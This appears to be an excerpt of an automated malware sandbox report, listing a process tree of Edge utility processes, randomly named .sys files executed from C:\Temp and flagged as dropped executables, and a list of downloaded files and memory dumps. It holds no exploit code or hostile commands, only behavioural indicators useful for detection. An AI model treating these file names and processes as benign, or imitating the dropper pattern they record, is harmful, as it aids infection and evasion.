C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2256,i,14031040993398686955,8096095851578786913,524288 --field-trial-handle=2388,i,3748134179572056677,14060484855727565745,262144 --variations-seed-version --mojo-platform-channel-handle=2616 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5704,i,2917926328175048334,12124274131279468983,524288 --field-trial-handle=2388,i,3748134179572056677,14060484855727565745,262144 --variations-seed-version --mojo-platform-channel-handle=5644 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3664,i,3260768702569857317,15984090637032260359,524288 --field-trial-handle=2388,i,3748134179572056677,14060484855727565745,262144 --variations-seed-version --mojo-platform-channel-handle=5368 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7048,i,10378239465859282982,8114431694498681867,524288 --field-trial-handle=2388,i,3748134179572056677,14060484855727565745,262144 --variations-seed-version --mojo-platform-channel-handle=5604 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5480,i,9202978481109521010,17739674918293246218,524288 --field-trial-handle=2388,i,3748134179572056677,14060484855727565745,262144 --variations-seed-version --mojo-platform-channel-handle=6500 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6200,i,12259007393011621112,4143676660500669001,262144 --field-trial-handle=2388,i,3748134179572056677,14060484855727565745,262144 --variations-seed-version --mojo-platform-channel-handle=3684 /prefetch:104⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5980,i,5261742170794459560,1112981935171383578,524288 --field-trial-handle=2388,i,3748134179572056677,14060484855727565745,262144 --variations-seed-version --mojo-platform-channel-handle=5828 /prefetch:144⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Temp\dxvqnifaxvpnifdx.sysC:\Temp\dxvqnifaxvpnifdx.sys1⤵
- Executes dropped EXE
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start1⤵
-
C:\Temp\xvsnkicaus.sysC:\Temp\xvsnkicaus.sys1⤵
- Executes dropped EXE
-
C:\Temp\fzxspjhczu.sysC:\Temp\fzxspjhczu.sys1⤵
- Executes dropped EXE
-
C:\Temp\rpjhbzurpj.sysC:\Temp\rpjhbzurpj.sys1⤵
- Executes dropped EXE
-
C:\Temp\hbztrmjebw.sysC:\Temp\hbztrmjebw.sys1⤵
- Executes dropped EXE
-
C:\Temp\ywtomjebzw.sysC:\Temp\ywtomjebzw.sys1⤵
- Executes dropped EXE
-
C:\Temp\ytqljdbvtn.sysC:\Temp\ytqljdbvtn.sys1⤵
- Executes dropped EXE
-
C:\Temp\qkigavsqoi.sysC:\Temp\qkigavsqoi.sys1⤵
- Executes dropped EXE
-
C:\Temp\nifdxvtnlf.sysC:\Temp\nifdxvtnlf.sys1⤵
- Executes dropped EXE
-
C:\Temp\causnkicau.sysC:\Temp\causnkicau.sys1⤵
- Executes dropped EXE
-
C:\Temp\zxvpnhfaus.sysC:\Temp\zxvpnhfaus.sys1⤵
- Executes dropped EXE
-
C:\Temp\ukecwurmkh.sysC:\Temp\ukecwurmkh.sys1⤵
-
C:\Temp\jebzxrpmhe.sysC:\Temp\jebzxrpmhe.sys1⤵
-
C:\Temp\wtomgeywro.sysC:\Temp\wtomgeywro.sys1⤵
-
C:\Temp\omgeywtrlj.sysC:\Temp\omgeywtrlj.sys1⤵
-
C:\Temp\bytqljdbvt.sysC:\Temp\bytqljdbvt.sys1⤵
-
C:\Temp\vtnligayvt.sysC:\Temp\vtnligayvt.sys1⤵
-
C:\Temp\sqkicavsnk.sysC:\Temp\sqkicavsnk.sys1⤵
-
C:\Temp\nkfcaxspkh.sysC:\Temp\nkfcaxspkh.sys1⤵
-
C:\Temp\xvpnzxrpjh.sysC:\Temp\xvpnzxrpjh.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
dxvqnifaxvpnifdx.exe
dxvqnifaxvpnifdx.sys
fdxvsnifax.exe
fzxspjhczu.sys
hbztrmjebw.sys
i_fdxvsnifax.exe
i_mjhczurmje.exe
i_smhfzxspkh.exe
i_uomgebwuom.exe
i_zxrpjhfzur.exe
mjhczurmje.exe
rpjhbzurpj.sys
smhfzxspkh.exe
uomgebwuom.exe
xvsnkicaus.sys
ywtomjebzw.sys
ywtrljdbwt.exe
zxrpjhfzur.exe
settings.dat
settings.dat
the-real-index
the-real-index~RFe5a1474.TMP
SiteList-Enterprise.json
Edge Profile.ico
Network Persistent State
SCT Auditing Pending Reports
Sdch Dictionaries
Preferences
Preferences
Preferences
Secure Preferences
OperationConfig
OperationConfig~RFe5aafc9.TMP
Local State
Local State
Local State
Local State
Local State
metadata.json
metadata.json
metadata.json
metadata.json
content_new.js
CreateProcess.exe
memory/1612-470-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1856-312-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1856-258-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1864-491-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1872-410-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1972-441-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1972-487-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1980-385-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1980-406-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2252-405-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2384-336-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2696-274-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2820-430-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3296-295-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3580-151-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3984-316-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4048-365-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5052-331-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5340-230-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5764-466-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5948-63-0x0000000000010000-0x00000000000AB000-memory.dmp